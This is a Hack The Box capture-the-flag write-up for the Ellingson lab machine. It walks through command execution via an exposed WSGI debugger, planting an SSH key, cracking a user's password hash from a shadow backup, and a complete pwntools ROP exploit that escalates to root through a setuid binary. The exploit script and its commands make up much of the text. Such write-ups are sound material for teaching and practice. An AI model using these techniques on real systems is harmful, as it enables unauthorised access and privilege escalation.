jebidiah-anthony
write-ups and what not
HTB Ellingson (10.10.10.139)
TABLE OF CONTENTS
- PART 1 : INITIAL RECON
- PART 2 : PORT ENUMERATION
- PART 3 : EXPLOITATION
- PART 4 : GENERATE USER SHELL (hal)
- PART 5 : LATERAL MOVEMENT (hal -> margo)
- PART 6 : PRIVILEGE ESCALATION (margo -> root)
PART 1 : INITIAL RECON
$ nmap --min-rate 15000 -p- -v 10.10.10.139
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -p 22,80 -sC -sV -T4 10.10.10.139
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PART 2 : PORT ENUMERATION
TCP PORT 80
The landing page leads to a website for Ellingson Mineral Corp which includes three articles and the faces behind the Company (Hal, Margo, Eugene, and Duke). This is clearly a reference to the 1995 film, Hackers.
One of the articles posted is entitled “Suspicious Network activity” where it writes:
We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague
The articles are accessed throught the /articles
directory then followed by an id or index (e.g. /articles/3
).
PART 3 : EXPLOITATION
Attempting to load a non-existent article using an index that is too large or too small redirects the user to a WSGI error page. WSGI (Web Server Gateway Interface) serves as a middleware that handles requests between the web server and the web application.
The error page can also serve as an interactive debugger which you can leverage for command execution. Maybe this could be used to gain a reverse shell or plant an RSA public key to gain persistent access over ssh.
PART 4 : GENERATE USER SHELL (hal)
Using the command execution over the WSGI debugger:
>>> cmd = "cat /etc/passwd | egrep -e *sh$"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
root:x:0:0:root:/root:/bin/bash
theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash
hal:x:1001:1001:,,,:/home/hal:/bin/bash
margo:x:1002:1002:,,,:/home/margo:/bin/bash
duke:x:1003:1003:,,,:/home/duke:/bin/bash
>>> cmd = "ls -lah /home/hal"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
total 36K
drwxrwx--- 5 hal hal 4.0K May 7 13:12 .
drwxr-xr-x 6 root root 4.0K Mar 9 2019 ..
-rw-r--r-- 1 hal hal 220 Mar 9 2019 .bash_logout
-rw-r--r-- 1 hal hal 3.7K Mar 9 2019 .bashrc
drwx------ 2 hal hal 4.0K Mar 10 2019 .cache
drwx------ 3 hal hal 4.0K Mar 10 2019 .gnupg
-rw-r--r-- 1 hal hal 807 Mar 9 2019 .profile
drwx------ 2 hal hal 4.0K Mar 9 2019 .ssh
-rw------- 1 hal hal 865 Mar 9 2019 .viminfo
>>> cmd = "echo -e '\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDf5LWxsMSacl9zZMA02V7umX21MZ/eIhYCS+iwa9coGiOEWsHO8h2iuDTrOPlg4HSlYx7pgkBe0oPHyorSLYXWHiXQyYqgcS60f1KTmd18hdo15YVReSgk4ZUM7t4j8rj/QqLiypb0cRJMGClWotbNr8UzaYvytl1X0t6z0LVAvC0VHNVqBi/FPjYVrn184ddP0uh1BKDPp2kPvE4Xlnm6D7jUXr72q/kEhB5EbnNNRBi6Dy1gMPQQQTUh1pI4M3yIbAyWvNS6SvLhIOqh76v7cQPI+aX557I+epxxT2B+RsQYW4TjA4fvvAQyktlL39dXzdDn2AXiVyVHDEL68uoMxwbRaz2aGhq0R0l7KZoHqd4sDda8U8vSPTEyofjPDXRUQWYBDsfpn1JHm+bvjXhCli2Mjgwc+Ep0jwSB8oJCiP5l7fi90VmbqKKYKQxLE1oEGBCHfZnNvl6oMnp8nzwUJDtO22yutNggIHeHh8SkVcrdlApospeKIRFTlAOrvyE= root@kali' >> /home/hal/.ssh/authorized_keys"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
Now that a public key has been added to .ssh/authorized_keys, attempt to login via ssh using an identity file:
$ ssh -i id_rsa -l hal 10.10.10.139
hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
The user, hal
, is also part of the 4(adm)
group.
PART 5 : LATERAL MOVEMENT (hal -> margo)
While inside hal
’s shell:
hal@ellingson:~$ find /var -gid 4 2>/dev/null
/var/backups/shadow.bak
...omitted...
hal@ellingson:~$ cat /var/backups/shadow.bak
root:*:17737:0:99999:7:::
...omitted...
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
The adm
group has read permissions for the shadow.bak
file stored in /var/backups
. It contains password hashes for all the members of the Ellingson team.
In the movie referenced by the box, Margo Wallace failed to change her password according to a schedule and her password coincidentally was “GOD” which according to Plague was one of the most commonly used passwords (along with Love, Sex, and Secret) which resulted in their system to be compromised.
Cracking Margo’s password hash is probably the next step forward:
$ echo \$6\$Lv8rcvK8\$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1 > margo_hash
$ cat /usr/share/wordlists/rockyou.txt | egrep -ie "^.*g[o0]d.*$" > wordlist_god
$ john --wordlist=wordlist_god margo_hash
iamgod$08 (?)
Since SHA512 crypt hashes takes a while to crack, limiting the size of the wordlist is recommended. Also, since there is a context on what Margo’s password might be, I created a subset of rockyou.txt to only include passwords that contains variations of the string god. The cracked password serves as both UNIX and SSH credentials for the user, margo
.
hal@ellingson:~$ su margo
Password: iamgod$08
margo@ellingson:/home/hal$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
margo@ellingson:/home/hal$ cd ~
margo@ellingson:~$ ls -lah
total 52K
drwxrwx--- 6 margo margo 4.0K Mar 10 2019 .
drwxr-xr-x 6 root root 4.0K Mar 9 2019 ..
-rw-r--r-- 1 margo margo 220 Mar 9 2019 .bash_logout
-rw-r--r-- 1 margo margo 3.7K Mar 9 2019 .bashrc
drwx------ 2 margo margo 4.0K Mar 10 2019 .cache
drwx------ 3 margo margo 4.0K Mar 10 2019 .gnupg
drwxrwxr-x 3 margo margo 4.0K Mar 10 2019 .local
-rw-r--r-- 1 margo margo 807 Mar 9 2019 .profile
drwx------ 2 margo margo 4.0K Mar 9 2019 .ssh
-r-------- 1 margo margo 33 Mar 10 2019 user.txt
-rw------- 1 margo margo 9.4K Mar 10 2019 .viminfo
margo@ellingson:~$ cat user.txt
d0ff........................5903
PART 6 : PRIVILEGE ESCALATION (margo -> root)
margo@ellingson:~$ find /bin /usr/bin -uid 0 -perm -4000 -type f 2>/dev/null
...omitted...
/usr/bin/garbage
...omitted...
Attempting to run the binary as another user (aside from margo) would return the following message:
hal@ellingson:~$ /usr/bin/garbage
User is not authorized to access this application. This attempt has been logged.
Otherwise:
margo@ellingson:~$ /usr/bin/garbage
Enter access password: iamgodod$08
access denied.
ltrace
Check the program flow (i.e. syscalls, function arguments, signals) using ltrace
. The password comparison might just be done using strcmp()
.
margo@ellingson:~$ ltrace /usr/bin/garbage
getuid() = 1002
syslog(6, "user: %lu cleared to access this"..., 1002) = <void>
getpwuid(1002, 0x7a0030, 0x7a0010, 1) = 0x7f1052bf2f20
strcpy(0x7ffe34be6a44, "margo") = 0x7ffe34be6a44
printf("Enter access password: ") = 23
gets(0x7ffe34be69e0, 0x7a1b90, 0, 0Enter access password:
) = 0x7ffe34be69e0
putchar(10, 0x7a1fa0, 0x7f1052bf28d0, 0x7f1052915081
) = 10
strcmp("", "N3veRF3@r1iSh3r3!") = -78
puts("access denied."access denied.
) = 15
exit(-1 <no return ...>
+++ exited (status 255) +++
Aaaaaand the password checking is indeed done by using strcmp("", "N3veRF3@r1iSh3r3!")
.
margo@ellingson:~$ /usr/bin/garbage
Enter access password: N3veRF3@r1iSh3r3!
access granted.
[+] W0rM || Control Application
[+] ---------------------------
Select Option
1: Check Balance
2: Launch
3: Cancel
4: Exit
> 1
Balance is $1337
> 2
Row Row Row Your Boat...
> 3
The tankers have stopped capsizing
> 4
Trying to access the garbage
binary again with the right password leads to a control panel and all options just outputs a string and are not interactive. If this were a buffer overflow vulnerability, then the only attack vectors left are the password input and the option selection input.
Now, it’s time to save the binary locally and attempt to create an exploit:
$ scp margo@10.10.10.139:/usr/bin/garbage ./garbage
$ margo@10.10.10.139's password: iamgod$08
garbage 100%
$ file ./garbage
./garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
$ gdb --nh -q ./garbage
(gdb) checksec
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
(gdb) disassemble main
0x0000000000401619 <+0>: push rbp
0x000000000040161a <+1>: mov rbp,rsp
0x000000000040161d <+4>: sub rsp,0x10
0x0000000000401621 <+8>: mov eax,0x0
0x0000000000401626 <+13>: call 0x401459 <check_user>
0x000000000040162b <+18>: mov DWORD PTR [rbp-0x4],eax
0x000000000040162e <+21>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401631 <+24>: mov edi,eax
0x0000000000401633 <+26>: call 0x4014d4 <set_username>
0x0000000000401638 <+31>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040163b <+34>: mov edi,eax
0x000000000040163d <+36>: call 0x401513 <auth>
...omitted...
0x00000000004016e7 <+206>: mov eax,0x0
0x00000000004016ec <+211>: call 0x40133c <checkbalance>
0x00000000004016f1 <+216>: jmp 0x40172b <main+274>
0x00000000004016f3 <+218>: mov eax,0x0
0x00000000004016f8 <+223>: call 0x401316 <launch>
0x00000000004016fd <+228>: jmp 0x40172b <main+274>
0x00000000004016ff <+230>: mov eax,0x0
0x0000000000401704 <+235>: call 0x401329 <cancel>
0x0000000000401709 <+240>: jmp 0x40172b <main+274>
0x000000000040170b <+242>: mov edi,0x0
0x0000000000401710 <+247>: call 0x401160 <exit@plt>
0x0000000000401715 <+252>: lea rdi,[rip+0xaf8] # 0x402214
0x000000000040171c <+259>: call 0x401050 <puts@plt>
0x0000000000401721 <+264>: mov edi,0xffffffff
0x0000000000401726 <+269>: call 0x401160 <exit@plt>
0x000000000040172b <+274>: jmp 0x40169e <main+133>
0x0000000000401730 <+279>: mov edi,0xffffffff
0x0000000000401735 <+284>: call 0x401160 <exit@plt>
/usr/bin/garbage
is a 64-bit ELF executable with ASLR (Address Space Layout Randomization) enabled which means that certain modules or libraries (especially the libc.so file) are offset randomly every instance generated. Its security features include only NX (non-executable segment) protection and Partial RelRO (Relocation Read-Only).
NX (Non-execute)
The application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa.
Partial RelRO (Relocation Read-Only)
The headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched)
Program Flow
#1 | Checks User ID [ check_user() ] | if uid==1002 or uid==0: GO TO #2 if uid==1000: exit() |
#2 | Authentication [ auth() ] | if password=="N3veRF3@r1iSh3r3!": GO TO #3 else: exit() |
#3 | Select Option | if option==1: checkbalance(); GO TO #3 if option==2: launch(); GO TO #3 if option==3: cancel(); GO TO #3 else: exit() |
The auth() function:
(gdb) disassemble auth
...omitted...
0x0000000000401558 <+69>: lea rax,[rbp-0x80]
0x000000000040155c <+73>: mov rdi,rax
0x000000000040155f <+76>: mov eax,0x0
0x0000000000401564 <+81>: call 0x401100 <gets@plt>
0x0000000000401569 <+86>: mov edi,0xa
0x000000000040156e <+91>: call 0x401030 <putchar@plt>
0x0000000000401573 <+96>: lea rax,[rbp-0x80]
0x0000000000401577 <+100>: lea rsi,[rip+0xbe1] # 0x40215f
0x000000000040157e <+107>: mov rdi,rax
0x0000000000401581 <+110>: call 0x4010e0 <strcmp@plt>
0x0000000000401586 <+115>: test eax,eax
0x0000000000401588 <+117>: jne 0x401606 <auth+243>
...omitted...
0x0000000000401606 <+243>: lea rdi,[rip+0xb74] # 0x402181
0x000000000040160d <+250>: call 0x401050 <puts@plt>
0x0000000000401612 <+255>: mov eax,0x0
0x0000000000401617 <+260>: leave
0x0000000000401618 <+261>: ret
In creating 64-bit ROP chains, the value of the $rdi register can be used to pass a first argument to a function (followed by $rsi, $rdx, $rcx, $r8, then $r9). To summarize the code snippet above, the address [rbp-0x80]
is saved to $rax
which is then moved to $rdi
. [rbp-0x80]
is now the effective address where the function call gets@plt
will save the input from STDIN.
External function calls such as gets@plt
are using dynamic linkers (e.g. ld.so) to resolve the address of libc
functions during run-time and are saved to the GOT (Global Offset Table). The GOT serves as a reference for all external function calls or anything that is referenced to a shared library then the PLT (Procedure Linkage Table) serves as a means for the compiled executable to access such functions.
Since there is an address space that is writable (using gets@plt
) and there is an easy way to view stored values (using puts@plt
), it could be used to leak addresses from the libc.so file required by the executable to gain total control over the binary in order to gain command execution.
exploit.py (Finding the right offset)
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += "C" * 8 # RETURN ADDRESS PLACEHOLDER
(gdb) break * 0x0000000000401569 # function call after gets@plt
Breakpoint 1 at 0x401569
(gdb) break * 0x0000000000401618 # auth() function's return call
Breakpoint 1 at 0x401618
(gdb) run <<< $(python -c 'print "A"*int("0x80",16) + "B"*8 + "C"*8')
(gdb) x/18xg $rbp-0x80
0x7ffddfc8e0b0: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e0c0: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e0d0: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e0e0: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e0f0: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e100: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e110: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e120: 0x4141414141414141 0x4141414141414141
0x7ffddfc8e130: 0x4242424242424242 0x4343434343434343
(gdb) c
(gdb) x/xg $rsp
0x7ffd9762c1f8: 0x4343434343434343
The address space where the user inputs a password for authentication is stored in [rbp-0x80]
. Since the return address is, in this case, 8 bytes away from the base pointer, writing 8 bytes beyond [rbp-0x80]
would overwrite the value of $rbp
and another 8 bytes would overwrite the return address.
The return
call of the auth()
function is now overwritten to be CCCCCCCC
or 4343434343434343
exploit.py (Leaking the address of a libc function)
$ ropper --file ./garbage --search "% ?di"
...omitted...
0x000000000040179b: pop rdi; ret;
(gdb) info functions
...omitted...
0x0000000000401050 puts@plt
...omitted...
0x0000000000401100 gets@plt
...omitted...
0x0000000000401619 main
...omitted...
(gdb) disassemble 0x0000000000401050
0x0000000000401050 <+0>: jmpq *0x2fd2(%rip) # 0x404028 <puts@got.plt>
0x0000000000401056 <+6>: pushq $0x2
0x000000000040105b <+11>: jmpq 0x401020
from pwn import *
pwnable = process("./garbage")
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got.plt
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main <+0>
pwnable.sendline(payload)
pwnable.recvuntil("denied.\n")
puts_leaked = pwnable.recvline()[:8].strip().ljust(8, "\x00")
This process sets the value of $rdi
to be the address of puts@got.plt
directly offset from the libc shared object. $rdi
then gets passed as an argument to the function, puts@plt
then output to STDOUT. This process is essential to be able to infer the libc version being used by the infected machine (ellingson).
The exploit returns back to the main function. Since the executable is still running, the libc dynamically linked to the executable is still in the same address which means that the address leaked using the exploit above is still useful. The process of creating a ROP payload then returning to main
can be repeated until all preparations to achieve command execution are completed.
exploit.py (Write “/bin/sh” to a data segment)
$ objdump -h ./garbage
Sections:
Idx Name Size VMA LMA File off Algn
...omitted...
22 .data 00000014 00000000004040b8 00000000004040b8 000030b8 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000018 00000000004040d0 00000000004040d0 000030cc 2**4
ALLOC
...omitted...
$ objdump -j .data -s ./garbage
Contents of section .data:
4040b8 00000000 00000000 00000000 00000000 ................
4040c8 39050000 9...
from pwn import *
pwnable = process("./garbage")
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x4040b8) # .data segment
payload += p64(0x401100) # gets@plt
payload += p64(0x401619) # main <+0>
pwnable.sendline(payload)
shell = "/bin/sh"
pwnable.sendline(shell + "\x00"*(8-(len(shell)%8)))
.data segment
a portion of an object file or the corresponding virtual address space of a program that contains initialized static variables, that is, global variables and static local variables. The size of this segment is determined by the size of the values in the program’s source code, and does not change at run time.
The data segment is read-write, since the values of variables can be altered at run time. Uninitialized data, both variables and constants, is instead in the BSS segment.
The string /bin/sh
was written in the .data segment (which was otherwise basically empty).
exploit.py (Calculate the libc offsets)
margo@ellingson:~$ ldd /usr/bin/garbage
linux-vdso.so.1 (0x00007ffc77ffb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f370379e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3703b8f000)
$ scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
$ margo@10.10.10.139's password: iamgod$08
libc.so.6 100% 1983KB
from pwn import *
libc = ELF("./libc.so.6")
libc_address = u64(puts_leaked) - libc.symbols['puts']
GLIBC_setuid = libc_address + libc.symbols['setuid']
GLIBC_system = libc_address + libc.symbols['system']
GLIBC_exit = libc_address + libc.symbols['exit']
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0) # integer, 0
payload += p64(GLIBC_setuid)
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x4040b8) # .data segment
payload += p64(GLIBC_system)
payload += p64(GLIBC_exit)
The base address of the libc is calculated by removing the offset of the leaked puts
address. Knowing the base address of the libc used during run-time means you can call the functions you want with the right offsets. The offsets of each libc function are constant in their respective versions and architecture which could pretty much be easily computed.
exploit.py (Putting everything together)
from pwn import *
shell = ssh("margo", '10.10.10.139', password="iamgod$08")
pwnable = shell.process("/usr/bin/garbage")
# ==================================================================
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got.plt
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main <+0>
pwnable.sendline(payload)
pwnable.recvuntil("denied.\n")
puts_leaked = pwnable.recvline()[:8].strip().ljust(8, "\x00")
log.success("LEAKED ADDRESS puts@got.plt : {}".format(hex(u64(puts_leaked))))
# ==================================================================
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x4040b8) # .data segment
payload += p64(0x401100) # gets@plt
payload += p64(0x401619) # main <+0>
pwnable.sendline(payload)
shell = "/bin/sh"
pwnable.sendline(shell + "\x00"*(8-(len(shell)%8)))
pwnable.recvuntil("denied.\n")
log.success("\"{}\" WAS WRITTEN ON {}".format(shell, hex(int("0x4040b8", 16))))
# ==================================================================
libc = ELF("./libc.so.6")
libc_address = u64(puts_leaked) - libc.symbols['puts']
GLIBC_setuid = libc_address + libc.symbols['setuid']
GLIBC_system = libc_address + libc.symbols['system']
GLIBC_exit = libc_address + libc.symbols['exit']
payload = ""
payload += "A" * int("0x80", 16) # OFFSET
payload += "B" * 8 # BASE POINTER
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0) # integer, 0
payload += p64(GLIBC_setuid)
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x4040b8) # .data segment
payload += p64(GLIBC_system)
payload += p64(GLIBC_exit)
log.info("setuid() : {}".format(hex(GLIBC_setuid)))
log.info("system() : {}".format(hex(GLIBC_system)))
log.info("exit() : {}".format(hex(GLIBC_exit)))
pwnable.sendline(payload)
pwnable.recvuntil("denied.\n")
pwnable.interactive()
exploit.py (Running the exploit)
$ python exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 41256
[+] LEAKED ADDRESS puts@got.plt : 0x7ff860e879c0
[+] "/bin/sh" WAS WRITTEN ON 0x4040b8
[*] './libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] setuid() : 0x7ff860eec970
[*] system() : 0x7ff860e56440
[*] exit() : 0x7ff860e4a120
[*] Switching to interactive mode
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cat /root/root.txt
1cc7........................f997
# $
Without setting the uid to 0, the effective uid would still be 1002 which is still margo
’s uid.
REFERENCES
- https://en.wikipedia.org/wiki/Hackers_(film)
- http://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/
- https://en.wikipedia.org/wiki/Data_segment